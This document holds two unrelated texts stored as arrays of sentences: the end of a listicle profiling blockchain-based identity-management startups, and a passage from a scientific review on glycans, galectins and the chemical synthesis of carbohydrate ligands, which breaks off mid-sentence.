Private\n\nPersona is a zero-knowledge identity management system built on the blockchain. ", "It was built this way, because, according to the Persona team “personal details are meant to remain private”. ", "The Romania-based platform maintains this privacy deploying their blockchain protocol to let users prove their identity without actually sharing any data with third parties. ", "Persona embraces community as a form of verification. ", "Once a user has their identity confirmed on the Persona network, they can then act as a validator of other users’ identities. ", "In the network, it takes 16 peoples’ endorsements to reach 90% validation; the other 10% must come from a financial transaction to confirm via a financial institution that you are who you say you are.", "\n\nDate Founded: 2017\n\nFunding Type: ICO\n\nVerTrius is a Washington, D.C.-based startup that is a developer of SaaS technologies, some of which fall into the blockchain-facilitated identification management realm. ", "Their digital ID stamp technology is a central aspect in all of their verification services. ", "It is used to verify content security, traceability, management, and access control no matter where it is stored or displayed on the web. ", "The VerTrius digital ledger takes the authentication process further by generating decentralized, authenticated records of communications, transactions, content location, and more.", "\n\nDate Founded: March 1, 2016\n\nFunding Type: Private\n\nNuID is a startup pushing forward the trustless authentication and trusted identity movements. ", "Through the use of zero-knowledge cryptography and distributed ledger technology, the NuID platform is helping to make identity authentication databases secure and portable. ", "By streamlining multi-step authentication processes, NuID is upping the ante in terms of ease of login. ", "The passwordless nature of the database helps reduce cases of fraudulent accounts hacks, and the decentralized ledger lets users be more aware of how their data is being shared – this is aided by the fact that securing that data requires permission from the users themself.", "\n\nDate Founded: April 19, 2017\n\nFunding Type: Private\n\nKABN is a suite of financial services that begins with identity security built on the blockchain. ", "The platform arose out of a growing need for greater regulatory compliance with initial coin offerings (ICOs). ", "The end-to-end suite of services includes a patent-pending B2B2C infrastructure that will let clients and consumers cut chunks of time off of KYC and identity-verification process through the use of smart contract technology. ", "This is critical in the ICO climate, where onboarding processes are rapid and, if not done right, messy. ", "Verifying identity and user data through KABN represents a step towards making ICOs a more above-board way to raise funds.", "\n\nDate Founded: January 2018\n\nFunding Type: Private\n\nlifeID is an open-source, tokenized protocol for the establishment of self-sovereign identity. ", "As the name hints, lifeID is a way for users to consolidate their most important identifying information in a way that is secure for, well, life. ", "Open and permissionless, the service is available to anybody in the world with the technological means to access it. ", "Features will include biometric authenticators, 100% user control over the privacy of personal information, a complete lack of passwords, and the ability to use the lifeID in both digital and physical settings. ", "In time, aspects of the lifeID network will include physical key cards for real-world deployment, VPN/Cloud access to one’s lifeID, a digital ID card, and travel-ready iterations of the platform.", "\n\nDate Founded: 2017\n\nFunding Type: Private\n\nBlock Systems is a blockchain access management platform based out of Palo Alto, CA. ", "Apocrita is their pet project that is meant to make it easier for users to access files, regardless of how they have logged in to open it. ", "They want to solve the problem of – as one example – the Facebook user who cancels their account and no longer has access to all the applications they logged into through their former Facebook account. ", "Apocrita is a blockchain-powered solution to this problem. ", "The distributed web platform is a unified access platform that provides interoperability for existing and new identity models. ", "When such a system is deployed at large scale, the logistical and cost savings can be substantial. ", "Even on the personal level, it’s a useful tool.", "\n\nDate Founded: March 9, 2018\n\nFunding Type: Private\n\nCambridge Blockchain is a Boston-based innovative group working on blockchain-based identity management and compliance software solutions for the financial sector. ", "Know-your-customer and other stringent regulatory imperatives make finance one of the most red-tape heavy industries there is, and Cambridge wants to reduce some of the headaches for compliance departments. ", "Customer privacy is a major part of remaining compliant, so Cambridge has conceived a blockchain-powered solution to give the control over personal identity back to the customer in a shareable way. ", "Their distributed architecture ensures that financial institutions have access to needed data without infringing on privacy laws.", "\n\nDate Founded: 2015\n\nFunding Type: Venture-backed\n\nSelfKey is a blockchain-based digital identity system for the integrated financial services marketplace. ", "Self-sovereign identity is at the heart of SelfKey’s mission, as they believe self-ownership of personal data is the key to secure management of identity. ", "By putting forth the systems for users to take control of all facets of their identity, SelfKey aims to reduce frcition in cryptocurrency management, financial onboarding, and immigration processes, among other purposes. ", "Tools for achieving this goal include the Identity Wallet, which digitally secures personally-identifying assets and documents; the SelfKey Marketplace, for comparison of and access to a wide-array of identity-related services; and the KEY Token, which allows users to pay for notary and verification services as well as other assets on the SelfKey platform.", "\n\nDate Founded: 2017\n\nFunding Type: ICO" ]

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[ "1. ", "The Third Alphabet of Life {#sec1-molecules-21-00629}\n=============================\n\nSynergy, by teaming up chemistry with biosciences, can be expected to arise when the topic on which to apply complementarity of the disciplines is clearly defined. ", "In principle, the chemical platform of life includes molecular alphabets, whose 'letters' are a toolbox to form 'messages' (or 'words') in the form of oligomers and polymers. \"", "To an observer trying to obtain a bird's eye view of the present state of biochemistry, or what is sometimes referred to as molecular biology, life may until very recently have seemed to depend on only two classes of compounds: nucleic acids and proteins\" \\[[@B1-molecules-21-00629]\\]. ", "Their broad natural occurrence is shared by a third group, *i.e.*, glycans. ", "Present in Nature as polysaccharides such as chitin, or as part of cellular glycoconjugates, *i.e.*, glycoproteins and glycolipids \\[[@B2-molecules-21-00629],[@B3-molecules-21-00629],[@B4-molecules-21-00629],[@B5-molecules-21-00629],[@B6-molecules-21-00629],[@B7-molecules-21-00629],[@B8-molecules-21-00629],[@B9-molecules-21-00629],[@B10-molecules-21-00629],[@B11-molecules-21-00629],[@B12-molecules-21-00629],[@B13-molecules-21-00629]\\], their ubiquity and abundance have attracted interest to characterize rules of structural design, starting with the composition. ", "This systematic work on material from pro- and eukaryotes step by step led to compiling the list of all individual building blocks, which form cellular glycocompounds. ", "With the analogy to a molecular language in mind, this list constitutes the third alphabet of life, which complements the alphabets of nucleotides and amino acids ([Figure 1](#molecules-21-00629-f001){ref-type=\"fig\"}). ", "As is common for amino acids in proteins, substitutions such as phosphorylation or sulfation also broaden the range of letters for glycans. ", "This use of the same principle of post-synthetic modifications underscores the equivalence of these alphabets with respect to their involvement in the flow of information from genes to cellular activities \\[[@B14-molecules-21-00629],[@B15-molecules-21-00629]\\].", "\n\nDrawing on textbook knowledge, the consideration of availability of several hydroxyl groups for building the glycosidic bond lets the special talent of carbohydrates to encode bioinformation become obvious. ", "In contrast to the fixed connecting points of nucleotides and amino acids, two monosaccharides can be covalently linked to yield a groups of isomers: the anomeric position and linkage points are the sources of variability. ", "What initially appeared as a deterrent to work with glycans, that is the enormous structural variety unsurpassed among biopolymers that so fittingly is expressed in the term 'complex carbohydrates', was then realized to be the basis for enabling high-density coding. ", "Ironically, what at first impeded smooth progress turned out to be a means to put signals for different aspects of cell sociology into a minimum of space, an amazing functional dimension of glycans \\[[@B14-molecules-21-00629],[@B15-molecules-21-00629]\\]. ", "Due to the growing realization of this potential developing tools for chemical analysis of glycans on all structural levels \\[[@B16-molecules-21-00629]\\] is crucial to delineate structure-activity relationships. ", "That \"in many cases the real role of biological glycoconjugate glycans is still unknown and, in many cases, we are unable to answer the question: why are proteins and lipids glycosylated?\" ", "\\[[@B17-molecules-21-00629]\\] and that \"on the whole, the role of many glycans remains obscure and the subject of speculation or controversy\" \\[[@B17-molecules-21-00629]\\] is no longer valid. ", "In fact, the sequence of glycans, as in proteins or nucleic acids, gives shape to these biomolecules, seemingly minor alterations acting like switches between conformations \\[[@B18-molecules-21-00629],[@B19-molecules-21-00629],[@B20-molecules-21-00629],[@B21-molecules-21-00629],[@B22-molecules-21-00629]\\]. ", "Of note, the often encountered limitations to intramolecular flexibility of biorelevant oligosaccharides, combined with their enormous potential to engage in intermolecular recognition via hydrogen bonding, C-H/π-interaction and apolar complementarity, make them well-suited as binding partners. ", "They are like molecular keys fitting into appropriate locks, and such receptors are present in Nature, as previously outlined in detail in this journal for lectins \\[[@B23-molecules-21-00629],[@B24-molecules-21-00629]\\].", "\n\n2. ", "Lectins: Translators of Sugar-Encoded Information {#sec2-molecules-21-00629}\n====================================================\n\nGiven the realized potential of carbohydrates to serve as a chemical platform for generating a large array of molecular signals, which defines the glycome, a functional implication could be expected if emergence of sugar receptor(s) is not a singular event in evolution. ", "Strongly supporting the concept of significance of carbohydrate-protein binding, several families of proteins with this ability have developed, among them figuring prominently the lectins. ", "They are separated from enzymes treating the bound glycan as substrate, immunoglobulins and transport proteins for free mono- or oligosaccharides \\[[@B23-molecules-21-00629],[@B24-molecules-21-00629],[@B25-molecules-21-00629]\\]. ", "In the case of animals and man, more than a dozen types of protein folds are capable to form sites to accommodate such ligands on the basis of mutual recognition (for a gallery of these lectins presenting folds and a snapshot of the molecular rendez-vous with a ligand, please see \\[[@B26-molecules-21-00629]\\]), a sweet complementarity. ", "Structurally, the architecture of the contact site spans the range from shallow groves to deep pockets, in certain cases recruiting the assistance of Ca^2+^ for structural organization or coordination bonds with hydroxyl groups of the sugar \\[[@B26-molecules-21-00629],[@B27-molecules-21-00629],[@B28-molecules-21-00629],[@B29-molecules-21-00629],[@B30-molecules-21-00629]\\]. ", "Physiologically, the architecture then determines the reactivity to glycans, generally with no or very limited promiscuity. ", "From the perspective of the glycan, the same sugar epitope can become the target of several lectin types. ", "As a means of implementing flexibility and responsiveness, these cellular signals can undergo a recoding without requiring neosynthesis. ", "Enzymatic remodeling *in situ* can drastically alter a glycan's reactivity its binding profile, opening the way to dynamic up- or down regulation of binding capacity. ", "A classical example is the conversion of the hexasaccharide of the disialo-ganglioside GD1a to that of monosialo GM1 by a cell surface ganglioside sialidase (Neu3). ", "Removal of one sialic acid moiety (for its structure, please see [Figure 1](#molecules-21-00629-f001){ref-type=\"fig\"}) from ganglioside GD1a generates a functional marker. ", "It signals differentiation of neuroblastoma cells *in vitro* and acquired responsiveness of activated effector T cells to a control by regulatory T cells, in both cases sensed exerted by an endogenous lectin \\[[@B31-molecules-21-00629],[@B32-molecules-21-00629]\\]. ", "The formation of a complex between the produced ligand, *i.e.*, the pentasaccharide of ganglioside GM1, and the lectin, *i.e.*, the homodimeric galectin-1, is the molecular trigger for a signaling cascade, which results in the final response (growth/activity inhibition, setting limits to tumor cell proliferation and T cell-mediated activity causing auto-immune diseases). ", "This connection between the glycan and the cell sociology justifies to call the human lectin a translator of the sugar (ganglioside GM1)-encoded message.", "\n\nWhat is in general so intriguing about the recognition process with endogenous receptors is the exquisite selectivity of a tissue lectin (receptor) for distinct cellular glycoconjugates (in terms of the scaffold and its glycosylation). ", "As it turned out, often only few glycoproteins or glycolipids from the complexity on cells are binders, and lectin reactivity is temporally and spatially tightly regulated. ", "Modulations of glycoconjugate synthesis, routing and/or degradation and of the structure of the presented glycan(s) open ways to make cells specifically prepared for carbohydrate-protein recognition. ", "To give a further biomedically relevant example, the tumor suppressor p16^INK4a^ is the master regulator for a glycan-based effector route to drive pancreatic carcinoma cells into programmed cell death: the underlying caspase-9 activation is achieved by clustering of α~5~β~1~-integrin and galectin-1 on the cell surface, a process favored by their concerted upregulation and the increase of galectin-1-suited integrin glycosylation through reducing α2,6-sialylation of its *N*-glycans \\[[@B33-molecules-21-00629],[@B34-molecules-21-00629]\\]. ", "That availability of an antagonist of galectin-1 in this context, *i.e.*, galectin-3, is downregulated \\[[@B35-molecules-21-00629]\\] lays open intricacies of fine-tuning this effector pathway. ", "In addition to the direct contact possible and the complementarity between the cognate glycan determinant and the lectin, factors of spatial presentation, too, will most likely matter. ", "Multivalency of glycans, achieved by branching or tight arrangement in a microdomain, also artificially established by a lectin and synthetic ligands \\[[@B36-molecules-21-00629]\\], facilitates fractional high-affinity binding in the nM (and even below) range for galectins \\[[@B37-molecules-21-00629]\\]. ", "To give research to unravel the molecular origin of the selectivity of matchmaking direction, affinity regulation has been formally assigned to work on six levels \\[[@B30-molecules-21-00629],[@B38-molecules-21-00629]\\]. ", "After the target identification, the endogenous lectin in this case acts as a cross-linker of a glycoprotein, thus turning attention to the modes of structural design of tissue lectins are relevant for the outcome. ", "As glycan structures vary in terms of branching and repeats, per glycan and per glycoconjugate, various modes are realized to present a carbohydrate recognition domain (CRD) ([Figure 2](#molecules-21-00629-f002){ref-type=\"fig\"}). ", "Looking at the mentioned galectin-1 (bottom, left), it is a homodimer of two identical CRDs, ideal for cross-linking its counter receptor(s) to elicit the intracellular signaling cascade.", "\n\nLooking through the different sections of [Figure 2](#molecules-21-00629-f002){ref-type=\"fig\"}, and through its legend presenting further details on the respective lectins, it becomes clear that the topology of CRD presentation has gained a large degree of diversity, and there is more. ", "Detailed analyses within lectin families based on database mining have underscored that the course of evolution has led to complexity on several levels: gene diversification in terms of variations of the number of genes in each family by duplications/losses and of the individual sequences, even among related species \\[[@B39-molecules-21-00629],[@B40-molecules-21-00629],[@B41-molecules-21-00629],[@B42-molecules-21-00629],[@B43-molecules-21-00629],[@B44-molecules-21-00629]\\]. ", "In overview, covalent and non-covalent modes of linking CRDs as well as the connection of CRDs with other types of modules are frequent among lectins, signaling a fundamental functionality to be disclosed by thorough structure-activity investigations. ", "Here, using bioinspired synthetic ligands as sensors or glycoclusters as molecular rulers offers a promising perspective. ", "To depict principles of this line of research we here describe instructive examples selected from work on a class of adhesion/growth-regulatory lectins. ", "How carbohydrate chemistry can advance our level of understanding of aspects of how selectivity is achieved is thus examined for biomedically relevant effectors, two already mentioned above. ", "These proteins are referred to as galectins (please see [Figure 2](#molecules-21-00629-f002){ref-type=\"fig\"}, left part and [Figure 3](#molecules-21-00629-f003){ref-type=\"fig\"} for their modes of structural design in vertebrates).", "\n\n3. ", "Galectins: Definition and Structures {#sec3-molecules-21-00629}\n=======================================\n\nTo qualify to become a canonical member of this family a protein must satisfy the following criteria: (i)to have a CRD with a β-sandwich fold, first described in this field for the leguminous lectin concanavalin A and illustrated in the Gallery of Lectins \\[[@B27-molecules-21-00629]\\], is a compact structural platform consisting---in the case of human galectin-1---of two antiparallel β-sheets of five to six strands, respectively,(ii)to bind compounds from the group of β-galactosides and(iii)to share a sequence signature (mostly the amino acids in contact with the ligand, especially a central Trp for C-H/π-interaction with the B-face of galactose) \\[[@B26-molecules-21-00629],[@B43-molecules-21-00629],[@B45-molecules-21-00629],[@B46-molecules-21-00629],[@B47-molecules-21-00629]\\].", "\n\nIn vertebrates the CRD is commonly presented in three topological modes given in [Figure 3](#molecules-21-00629-f003){ref-type=\"fig\"}, associated with a tail consisting mostly of non-triple helical collagen-like repeats suited for aggregation (chimera type), as a non-covalently associated homodimer (proto type) and as a covalently linked heterodimer (tandem-repeat type). ", "Before synthetic work to prepare binders for galectins is outlined, an overview of diversity of galectin representation among species is given. ", "Computational mining of databases, together with experimental validation of active genes, accounts for the phylogenetic tree that summarizes the number of galectins in selected species ([Figure 4](#molecules-21-00629-f004){ref-type=\"fig\"}). ", "Reflecting the dynamics of the evolutionary process, the galectin display is not constant between species, an important fact precluding simple extrapolations and calling for thorough analysis of each individual protein. ", "Equally important, galectins likely form a network of members of each group (to give a clinically relevant example, colon cancer cells express most tested galectins, responsive to differentiation and providing prognostic information \\[[@B48-molecules-21-00629],[@B49-molecules-21-00629]\\], posing the challenge to define properties of the individual proteins and cooperation/antagonism *in situ*.", "\n\nTo start characterizing the ligand specificity, synthetic chemistry is invaluable due to its ability to make lead compounds available for affinity testing (for a compilation of experimental approaches to characterize lectin activity, please see [Table 1](#molecules-21-00629-t001){ref-type=\"table\"} in \\[[@B26-molecules-21-00629]\\]). ", "Due to the advantage of requiring only small amounts of lectin and ligand on a multi-assay scale, glycan microarrays have become instrumental for comparative analysis, setting the stage for the structural follow-up studies (for a flow scheme, please see [Figure 5](#molecules-21-00629-f005){ref-type=\"fig\"}) \\[[@B50-molecules-21-00629],[@B51-molecules-21-00629],[@B52-molecules-21-00629],[@B53-molecules-21-00629],[@B54-molecules-21-00629]\\]. ", "This and other glycan-based techniques delineated the grading of bioactivity of diverse glycans, teaching the lesson that various structural changes, e.g., introduction of sialylation or sulfation (as mentioned above) and extension to oligosaccharides with branching and sequence repeats, can matter markedly for distinct members of the family (for examples, please see \\[[@B55-molecules-21-00629],[@B56-molecules-21-00629],[@B57-molecules-21-00629],[@B58-molecules-21-00629],[@B59-molecules-21-00629],[@B60-molecules-21-00629],[@B61-molecules-21-00629],[@B62-molecules-21-00629],[@B63-molecules-21-00629],[@B64-molecules-21-00629],[@B65-molecules-21-00629]\\]). ", "With lactose as reference, significant affinity enhancements were found for the saccharides given in [Figure 5](#molecules-21-00629-f005){ref-type=\"fig\"}, for example with the synthetic *p*-nitrophenyl lactoside, a classical test case studied up to now, recently by NMR spectroscopy using ^15^N-labeled galectin-1 \\[[@B66-molecules-21-00629]\\]. ", "These structures, at the same time, establish a platform to proceed to address the issue of selection. ", "One preferred galectin ligand, as depicted in [Figure 6](#molecules-21-00629-f006){ref-type=\"fig\"} (bottom), is a repeat of the disaccharide \\[[@B67-molecules-21-00629]\\]. ", "Questions to be answered are whether and to what extent homologous proteins have different binding properties and whether a target-specific blocking might be accomplished.", "\n\nIn that case, a high-affinity and specific carbohydrate derivative would need to be identified for each galectin. ", "Because the CRDs of the galectins are rather conserved, this represents a formidable synthetic challenge. ", "However, if one takes the *N*-terminal CRD of galectin-8 as an example, distinct preferences have indeed developed \\[[@B68-molecules-21-00629],[@B69-molecules-21-00629],[@B70-molecules-21-00629],[@B71-molecules-21-00629],[@B72-molecules-21-00629],[@B73-molecules-21-00629],[@B74-molecules-21-00629]\\]. ", "Loaded with either LNF-III ([Figure 7](#molecules-21-00629-f007){ref-type=\"fig\"} left) or 3′-sulfated lactose ([Figure 7](#molecules-21-00629-f007){ref-type=\"fig\"} right), the structures of the complexes and the intimate interactions (shown in [Figure 8](#molecules-21-00629-f008){ref-type=\"fig\"}) reveal that it becomes conceivable that achieving selectivity gains is not an insurmountable task. ", "This example clearly demonstrates that suitably functionalized carbohydrate derivatives can even take the place of rather complex glycans. ", "Indeed, already a rationally derivatized disaccharide can offer a substantial selectivity gain, despite the overall rather conserved contact pattern of galectins for lactose ([Table 1](#molecules-21-00629-t001){ref-type=\"table\"}).", "\n\nIn view of [Figure 3](#molecules-21-00629-f003){ref-type=\"fig\"}, the structural design of the galectins will then also be an incentive for tailoring spatial aspects of binding partners, to optimize selectivity and to unravel structure-activity relationships, as the protein, too, can be tailored, for example engineering new homodimers ([Figure 9](#molecules-21-00629-f009){ref-type=\"fig\"}). ", "Strategically, the ligand structure can be modified for optimal fit at different sites, with the aglycone, as the case of *p*-nitrophenyl, as starting point, a strategy defined as subsite-assisted binding \\[[@B75-molecules-21-00629]\\].", "\n\n4. ", "Tailoring Monovalent Ligands for Selectivity {#sec4-molecules-21-00629}\n===============================================\n\nIn chemical terms, each structural part of the ligand can be examined for its contribution to selectivity. ", "Thus, the aglycone (in glycoclusters the linker to the scaffold), the atom at the glycosidic linkage and the sugar (sequence and substitutions) are subject to changes on the drawing board, providing interesting compounds to be synthesized and tested.", "\n\n4.1. ", "Modifications of the Aglycone {#sec4dot1-molecules-21-00629}\n----------------------------------\n\nThe classical example is the aromatic extension by a *p*-nitrophenyl group, reported for galectin-1 (formerly called galaptin) \\[[@B57-molecules-21-00629],[@B58-molecules-21-00629]\\]. ", "In detail, a 2.5-fold enhancement was seen by adding this group to lactose \\[[@B57-molecules-21-00629]\\], and even a 19-fold enhancement was observed when it was used as an extension to galactose \\[[@B58-molecules-21-00629]\\]. ", "That alterations in the aglycone part have the capacity to generate contributions to selectivity has been delineated by testing a series of β-lactosides with aromatic substituents \\[[@B76-molecules-21-00629]\\]. ", "β-Naphthyl and 2-benzothiazolyl proved especially active, in terms of affinity to galectin-3 relative to galectin-1 in isothermal titration calorimetry and in comparative inhibition assays \\[[@B76-molecules-21-00629],[@B77-molecules-21-00629],[@B78-molecules-21-00629]\\]. ", "As illustrated in [Scheme 1](#molecules-21-00629-sch001){ref-type=\"scheme\"}, the synthesis of the lactosides started from readily available peracetylated lactosyl bromide **1**, which was obtained in quantitative yield by treatment of peracetylated lactose with HBr in AcOH. ", "As expected, the phase transfer-catalyzed (PTC) nucleophilic displacements of lactosyl bromides by the aryl alcohols or aryl thiols occurred with complete anomeric inversion to afford exclusively the corresponding β-glycosides in good to excellent yields (78% for **2a** and 75% for **3**) \\[[@B76-molecules-21-00629]\\]. ", "They were ready to be evaluated for ligand activity with galectins after Zemplén de-*O*-acetylation (NaOMe, MeOH). ", "With β-napthyl thioglycoside such as the peracetylated derivative **2a** in hand, synthesis of anomeric sulfones by oxidation of the sulfide groups using *m*CPBA (2.1 equiv, CH~2~Cl~2~) generated sulfones **2b** (92%) after de-*O*-acetylation. ", "Most *O*-aryl lactosides were estimated as being 3-fold better than lactose in activity assays, thus underscoring a preference for aromatic aglycons. ", "What's more, the data reveal this region to be of conspicuous relevance for selectivity \\[[@B76-molecules-21-00629],[@B77-molecules-21-00629],[@B78-molecules-21-00629]\\].", "\n\nOn the structural level, the *O*-3 hydroxyl group of the glucose moiety of lactose is the main contact of this part of lactose with galectins, as first detected by chemical mapping β-methyl lactoside derivatives (deoxy and fluoro) \\[[@B79-molecules-21-00629]\\]. ", "Semi-empirical calculations correlated well with the chemical modifications done at the anomeric position with the effect on charge density at *O*-3 of the glucoside residue of lactose. ", "The *O*-3 electron density calculations were made on the lactoside derivatives evaluated on galectin-1 in the study \\[[@B80-molecules-21-00629],[@B81-molecules-21-00629],[@B82-molecules-21-00629]\\]. ", "Electron-withdrawing aglycones, for example the sulfone moiety in **2b**, decreased the *O*-3 electronic densities and favored interactions with Glu71, which was accounted for substantially by hydrogen bonding with the human lectin \\[[@B83-molecules-21-00629]\\]. ", "Hence, a direct correlation exists between the inhibitory potencies and the charge density at *O*-3 calculated on electrostatic potential. ", "Lac-*O*-*p*NP has a theoretical electron density of −0.346 compared to that of its o-nitrophenyl analog (−0.322). ", "This difference of electron density could explain the relative inhibitory potency variation on galectin-1. ", "Compound **2b**, having the lowest *O*-3 electron density, also has the highest inhibitory potency \\[[@B76-molecules-21-00629]\\]. ", "Among the compounds tested by isothermal calorimetry (ITC), benzothiazole **3** showed the best thermodynamic performance (ΔG of −6.7 kcal/mol; Ka 65 × 10^−3^ M^−1^) for galectin-3 \\[[@B76-molecules-21-00629]\\].", "\n\nWhen assaying derivatives harboring a 4-substituted 1,2,3-triazole unit, derived from lactosyl azide **4** using copper-catalyzed azide--alkyne cycloaddition ([Scheme 2](#molecules-21-00629-sch002){ref-type=\"scheme\"}) to afford heteroaryl lactoside **6** in essentially quantitative yield after Zemplén deprotection, the potential of substitution at this site was reinforced \\[[@B66-molecules-21-00629]\\].", "\n\n4.2. ", "Modifications at the Glycosidic Linkage {#sec4dot2-molecules-21-00629}\n--------------------------------------------\n\nThe introduction of S, Se or C atoms into the glycosidic linkage makes the glycoside resistant to glycosidases. ", "Also, stereoelectronic aspects, bond angles and flexibility are altered \\[[@B84-molecules-21-00629],[@B85-molecules-21-00629],[@B86-molecules-21-00629]\\]. ", "Testing the S/Se-bridged digalactosides (TDG, SeDG), rather small discriminatory effects were noted whereas dithio/seleno bridging was unfavorable for galectins \\[[@B87-molecules-21-00629]\\]. ", "However, S/Se-digalactoside activity to a plant toxin opens the possibility for avoiding cross-reactivity, if desiring to block the toxin \\[[@B87-molecules-21-00629]\\]. ", "The synthesis of the SeDG is summarised in [Scheme 3](#molecules-21-00629-sch003){ref-type=\"scheme\"}. ", "The peracetylated galactosyl bromide is treated with selenourea in acetone to generate a salt. ", "Production of the selenolate anion from this salt followed by reaction with **7** gave SeDG. ", "A related approach, using thiourea, gives TDG via glycosyl thiol intermediates, which are generally useful in *S*-glycoside synthesis.", "\n\nProceeding from the reducing end, the next part that can be altered is the sugar headgroup. ", "Here, a brief look at [Figure 6](#molecules-21-00629-f006){ref-type=\"fig\"} indicates that certain positions are preferred sites for increasing reactivity to galectins, inspiring exploitation.", "\n\n4.3. ", "Modification at Bioinspired Positions {#sec4dot3-molecules-21-00629}\n------------------------------------------\n\nThe synthetic extensions of disaccharides to natural oligosaccharides has enabled to map contact sites in the CRDs beyond lactose. ", "An example for the synthesis of relevant structures for galectins is the addition of a fucose moiety in an α1,2-linkage to lactose, constituting the histo-blood group H-trisaccharide, with general principles of oligosaccharide synthesis outlined in \\[[@B88-molecules-21-00629]\\]. ", "The synthesis of oligosaccharides enables generation of stereochemically pure and homogeneous substances for evaluation of their binding to lectins. ", "It also enables the incorporation of these substances onto microarrays for identification of ligands for lectins ([Figure 5](#molecules-21-00629-f005){ref-type=\"fig\"}). ", "Chemical synthesis of glycoside bonds relies on having both suitably protected donors and acceptors available. ", "The synthesis of 2′-fucosyl lactose exemplifies an approach to generating a lactos derivative \\[[@B89-molecules-21-00629]\\]. ", "Matta and coworkers have shown that lactose can be converted to **9** via acetonide formation and benzoylation \\[[@B90-molecules-21-00629]\\] and used this in a synthesis of 2′-fucosyl lactose. ", "This leaves the 2′-OH free to be a nucleophile in a glycosidation reaction. ", "In a variation of Matta's synthesis, a benzylated thiofucopyranoside **10** was shown to act as a donor using Crich and Smith's activation protocol \\[[@B91-molecules-21-00629]\\]. ", "The use of benzyl protecting groups, which do not participate in the glycosidation reaction, ensure that the required α-stereoisomer **11** is formed after activation of the thioglycoside. ", "Most likely, the undesired β-anomer would have resulted if acylated protecting groups had been used, unless anomerisation could occur or be induced *in situ* \\[[@B92-molecules-21-00629]\\]. ", "Subsequent removal of the benzoyl and acetonide protecting groups generates **13** and, finally, 2′-fucosyl lactose is obtained by hydrogenolytic removal of the benzyl groups.", "\n\nAs noted above with respect to [Scheme 4](#molecules-21-00629-sch004){ref-type=\"scheme\"}, potent binding partners for galectins present distinct substitutions at the *N*-acetyllactosamine core, for example the α1,3-linked *N*-acetylgalactosamine residue, which turns the histo-blood group H-type trisaccharide to the A-type tetrasaccharide. ", "Such a site for a substitution is referred to as a rational design based on structural information (bioinspiration) [Scheme 5](#molecules-21-00629-sch005){ref-type=\"scheme\"} documenting typical reaction sequences toward the production of compounds following this bioinspiration.", "\n\nIn general, irrespective of the aglycone residues on unprotected β-[d]{.smallcaps}-lactopyranosides, it is possible to use the well-known behavior of tin-ether or tin-acetal activation that greatly and regioselectively potentiate the nucleophilicity of the *O*-3′ oxygen to modify this particular position. ", "For example, lactoside **14** can be selectively propargylated to give compound **15** in very good yield after acetylation \\[[@B76-molecules-21-00629]\\]. ", "The propargyl ether of **8** was then treated by a \\[1,3\\]-dipolar cycloaddition \\[[@B93-molecules-21-00629]\\] between the alkyne and nitrile oxide, generated *in situ* from benzaldehyde oxime and *N*-chlorosuccinimide (through intermediate benzhydroximoyl chloride) to afford **16** in 91% yield, which after Zemplén deprotection provided the desired ligand **17** almost quantitatively. ", "An analogous strategy was used to give the corresponding 3′-sulfated *O*- and *S*-naphthyl lactosides **21** and **22** from **19** and **20**, respectively. ", "It is also worth noting that the above chemical sequences provided compounds reactive with galectins-1 and -3 in a much faster route than the one previously described for the synthesis of **18** showing a K~D~ of 320 nM against galectin-3 \\[[@B94-molecules-21-00629]\\].", "\n\nTo initiate to explain its marked reactivity to galectins-3, -4 and -8, the isoxazole lactoside **17** was docked into the active site of human galectin-3. ", "Possible interactions with all 13 amino acid residues listed in [Table 1](#molecules-21-00629-t001){ref-type=\"table\"} can thus be monitored. ", "It can be clearly seen that **17** may form strong hydrogen bonding with Asp148, H158, and possibly the key remote Arg144 with the isoxazole moiety ([Figure 10](#molecules-21-00629-f010){ref-type=\"fig\"}). ", "Evidently, thorough study of structure-activity relationships (SARs) offers remarkable potential to understand selectivity and push an enhancement to its inherent limits.", "\n\nIn summary, a binding partner of a (ga)lectin has been formally separated into distinct sections. ", "The advantage of this approach is that any structural change introduced by synthesis can be evaluated and optimized. ", "Combinatorial integration can then fully realize the potential of tailoring the monovalent structure. ", "Of note, activity testing should include the natural panel of lectins (of the same family and of other families sharing the same nominal glycan specificity) to preclude premature conclusions on selectivity. ", "Hence, keeping an eye on the size of the lectin network, as illustrated in [Figure 4](#molecules-21-00629-f004){ref-type=\"fig\"}, and on cross-reactive activities is essential. ", "With this part done, the next source of inspirations for tailoring synthetic binders of lectins comes from the natural presentation of glycans as multivalent clusters up to microdomains. ", "Affinity and selectivity are increased when properly taking spatial factors of the presentation into account, the fine work on the glycoside cluster effect with pioneering experiments on the hepatic asialoglycoprotein receptor, a C-type lectin shown schematically in [Figure 2](#molecules-21-00629-f002){ref-type=\"fig\"}, and synthetic glycoclusters serving as excellent precedent \\[[@B95-molecules-21-00629],[@B96-molecules-21-00629]\\].", "\n\n5. ", "Tailoring Spatial Aspects for Selectivity {#sec5-molecules-21-00629}\n============================================\n\nA wide variety of scaffolds can be used to present glycans as bioactive ligands, generating glycoclusters or glycodendrimers \\[[@B97-molecules-21-00629],[@B98-molecules-21-00629],[@B99-molecules-21-00629],[@B100-molecules-21-00629],[@B101-molecules-21-00629]\\]. ", "Of course, any favorable structural feature found on the level of testing monovalent compounds can now be implemented. ", "The following schemes can thus be considered as examples tested with galectins, starting with a selection of bivalent compounds.", "\n\nMacrocyclic scaffolds derived from glucuronic acid and phenylene-1,4-diamine (glycophanes; \\[[@B102-molecules-21-00629],[@B103-molecules-21-00629]\\]) had been used as fragments in building bivalent mannosides **23** and **24** ([Scheme 6](#molecules-21-00629-sch006){ref-type=\"scheme\"}) \\[[@B104-molecules-21-00629]\\]. ", "This inspired the use of such chiral scaffolds based on *p*-xylylenediamine to prepare structurally defined bivalent lactoside **26** \\[[@B105-molecules-21-00629]\\]. ", "Compound **26** is considered rigid when compared with **25**. ", "Molecular modeling can be used to investigate distance profiles between galactose headgroups in such bivalent compounds. ", "The use of macromodel for example, indicated that the intergalactoside distance in **26** was 24.5 Å. While both **25** and **26** showed similar affinity for galectin 3 in a solid phase binding assay, the glycophane **26** was \\>10-fold more potent than **25** towards the truncated galectin 3.", "\n\nVarious different frameworks (scaffolds) can be incorporated in bivalent glycocluster design and synthesis and a selection are shown in [Scheme 7](#molecules-21-00629-sch007){ref-type=\"scheme\"} \\[[@B105-molecules-21-00629],[@B106-molecules-21-00629],[@B107-molecules-21-00629]\\]. ", "While topology within this series can be considered the same (*i.e.*, they are all bivalent), the spatial relationships are different, allowing this property to be investigated through bioassays. ", "Interactions of the scaffold with the lectin that may contribute to, or hinder, binding cannot be discounted given, for example, activity observed for compounds such as **6** ([Scheme 